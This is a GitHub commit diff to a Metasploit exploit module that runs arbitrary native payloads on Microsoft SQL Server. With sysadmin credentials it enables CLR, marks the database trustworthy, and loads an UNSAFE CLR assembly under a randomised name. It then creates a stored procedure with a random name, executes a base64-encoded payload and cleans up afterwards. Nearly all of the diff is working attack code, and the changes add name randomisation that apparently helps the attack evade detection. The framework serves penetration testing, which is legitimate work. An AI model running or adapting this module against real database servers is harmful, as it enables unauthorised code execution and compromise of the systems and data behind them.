Skip to content

Commit 2d834a3

Browse files
committed
Finalise module, and add supporting binaries
1 parent 1c62559 commit 2d834a3

File tree

9 files changed

+63
-25
lines changed

9 files changed

+63
-25
lines changed
5 KB
Binary file not shown.
5 KB
Binary file not shown.
5 KB
Binary file not shown.
5 KB
Binary file not shown.
5 KB
Binary file not shown.
5 KB
Binary file not shown.
5 KB
Binary file not shown.
5 KB
Binary file not shown.

modules/exploits/windows/mssql/mssql_clr_payload.rb

Lines changed: 63 additions & 25 deletions
Original file line numberDiff line numberDiff line change
@@ -14,17 +14,19 @@ def initialize(info = {})
1414
super(update_info(info,
1515
'Name' => 'Microsoft SQL Server Clr Stored Procedure Payload Execution',
1616
'Description' => %q{
17-
This module executes an arbitrary native payload on a Microsoft SQL
18-
server by loading a custom SQL CLR Assembly into the target SQL
19-
installation, and calling it directly with a base64-encoded payload.
17+
This module executes an arbitrary native payload on a Microsoft SQL
18+
server by loading a custom SQL CLR Assembly into the target SQL
19+
installation, and calling it directly with a base64-encoded payload.
2020
21-
The module requires working credentials in order to connect directly to the
22-
MSSQL Server.
21+
The module requires working credentials in order to connect directly to the
22+
MSSQL Server.
2323
24-
This method requires the user to have sufficient privileges to install a custom
25-
SQL CRL DLL, and invoke the custom stored procedure that comes with it.
24+
This method requires the user to have sufficient privileges to install a custom
25+
SQL CRL DLL, and invoke the custom stored procedure that comes with it.
2626
27-
This exploit does not leave any binaries on disk.
27+
This exploit does not leave any binaries on disk.
28+
29+
Tested on MS SQL Server versions: 2005, 2012, 2016 (all x64).
2830
},
2931
'Author' =>
3032
[
@@ -39,10 +41,7 @@ def initialize(info = {})
3941
],
4042
'Platform' => 'win',
4143
'Arch' => [ARCH_X86, ARCH_X64],
42-
'Targets' =>
43-
[
44-
[ 'Automatic', { } ],
45-
],
44+
'Targets' => [['Automatic', {}]],
4645
'DefaultTarget' => 0,
4746
'DisclosureDate' => 'Jan 01 1999'
4847
))
@@ -55,10 +54,17 @@ def initialize(info = {})
5554

5655
def check
5756
unless mssql_login_datastore
58-
vprint_status("Invalid SQL Server credentials")
57+
vprint_status('Invalid SQL Server credentials')
5958
return Exploit::CheckCode::Detected
6059
end
6160

61+
version = get_sql_version_string
62+
63+
unless version =~ /Server 20(05|08|12|14|16)/
64+
vprint_status('Unsupported version of SQL Server')
65+
return Exploit::CheckCode::Safe
66+
end
67+
6268
if mssql_is_sysadmin
6369
vprint_good "User #{datastore['USERNAME']} is a sysadmin"
6470
Exploit::CheckCode::Vulnerable
@@ -69,8 +75,26 @@ def check
6975
disconnect
7076
end
7177

78+
def get_sql_version_string
79+
mssql_query("select @@version", false)[:rows].first[0]
80+
end
81+
82+
def get_sql_architecture(sql_version_string)
83+
if sql_version_string =~ /(64-bit|x64)/i
84+
ARCH_X64
85+
else
86+
ARCH_X86
87+
end
88+
end
89+
7290
def get_exploit_version(sql_version_string)
73-
'v3.5'
91+
# keeping it simple at this point.
92+
if sql_version_string =~ /Server (2005|2008|2012)/
93+
'v3.5'
94+
else
95+
# assume 2014/2016 at this point.
96+
'v4.0'
97+
end
7498
end
7599

76100
def set_trustworthy(on)
@@ -99,14 +123,27 @@ def is_clr_enabled
99123
end
100124

101125
def exploit
102-
mssql_login_datastore
126+
unless mssql_login_datastore
127+
fail_with(Failure::BadConfig, 'Unable to login with the given credentials')
128+
end
103129

104130
unless mssql_is_sysadmin
105131
fail_with(Failure::BadConfig, 'Specified user lacks sufficient permissions')
106132
end
107133

108-
unless datastore['EXITFUNC'].downcase == 'thread'
109-
fail_with(Failure::BadConfig, 'EXITFUNC must be set to "thread"')
134+
# This module will only support 'thread' for EXITFUNC
135+
# Bad things happen to SQL otherwise!
136+
unless datastore['EXITFUNC'] == 'thread'
137+
print_warning("Setting EXITFUNC to 'thread' so we don't kill SQL Server")
138+
datastore['EXITFUNC'] = 'thread'
139+
end
140+
141+
sql_version = get_sql_version_string
142+
vprint_status("Target SQL Version is:\n#{sql_version}")
143+
144+
sql_arch = get_sql_architecture(sql_version)
145+
unless payload.arch.first == sql_arch
146+
fail_with(Failure::BadConfig, "Target SQL server arch is #{sql_arch}, payload architecture is #{payload.arch.first}")
110147
end
111148

112149
trustworthy = is_trustworthy
@@ -122,10 +159,8 @@ def exploit
122159
enable_clr(true)
123160
end
124161

125-
sql_version = mssql_query("select @@version", false)[:rows].first[0]
126-
vprint_status("Target SQL Version is:\n#{sql_version}")
127162
exploit_version = get_exploit_version(sql_version)
128-
print_status("Using version #{exploit_version} of the Assembly")
163+
print_status("Using version #{exploit_version} of the Payload Assembly")
129164
exploit_file_path = ::File.join(Msf::Config.install_root, 'data',
130165
'SqlClrPayload', exploit_version, 'SqlClrPayload.dll')
131166
vprint_status("Using #{exploit_file_path}")
@@ -135,27 +170,30 @@ def exploit
135170
# Convert the assembly to the required format for execution of the stored
136171
# procedure to create the custom stored proc
137172
hex_assembly = "0x#{assembly.unpack('H*')[0]}"
138-
query = "CREATE ASSEMBLY [runstuff] AUTHORIZATION [dbo] FROM #{hex_assembly} WITH PERMISSION_SET = UNSAFE"
173+
asm_name = Rex::Text.rand_text_alpha(rand(4) + 8)
174+
query = "CREATE ASSEMBLY [#{asm_name}] AUTHORIZATION [dbo] FROM #{hex_assembly} WITH PERMISSION_SET = UNSAFE"
139175

140176
print_status('Adding custom payload assembly ...')
141177
mssql_query(query, false)
142178

143-
query = "CREATE PROCEDURE [dbo].[ExecuteB64Payload](@base64EncodedPayload AS NVARCHAR(MAX)) AS EXTERNAL NAME [runstuff].[StoredProcedures].[ExecuteB64Payload]"
179+
proc_name = Rex::Text.rand_text_alpha(rand(4) + 8)
180+
param_name = Rex::Text.rand_text_alpha(rand(4) + 8)
181+
query = "CREATE PROCEDURE [dbo].[#{proc_name}](@#{param_name} AS NVARCHAR(MAX)) AS EXTERNAL NAME [#{asm_name}].[StoredProcedures].[ExecuteB64Payload]"
144182

145183
print_status('Exposing payload execution stored procedure ...')
146184
mssql_query(query, false)
147185

148186
# Generate the base64 encoded payload
149187
b64payload = Rex::Text.encode_base64(payload.encoded)
150-
query = "EXEC [dbo].[ExecuteB64Payload] '#{b64payload}'"
188+
query = "EXEC [dbo].[#{proc_name}] '#{b64payload}'"
151189
print_status('Executing the payload ...')
152190
mssql_query(query, false)
153191

154192
print_status('Removing stored procedure ...')
155-
mssql_query('DROP PROCEDURE [dbo].[ExecuteB64payload]', false)
193+
mssql_query("DROP PROCEDURE [dbo].[#{proc_name}]", false)
156194

157195
print_status('Removing assembly ...')
158-
mssql_query('DROP ASSEMBLY [runstuff]', false)
196+
mssql_query("DROP ASSEMBLY [#{asm_name}]", false)
159197

160198
unless clr_enabled
161199
print_status('Restoring CLR setting ...')

0 commit comments

Comments
 (0)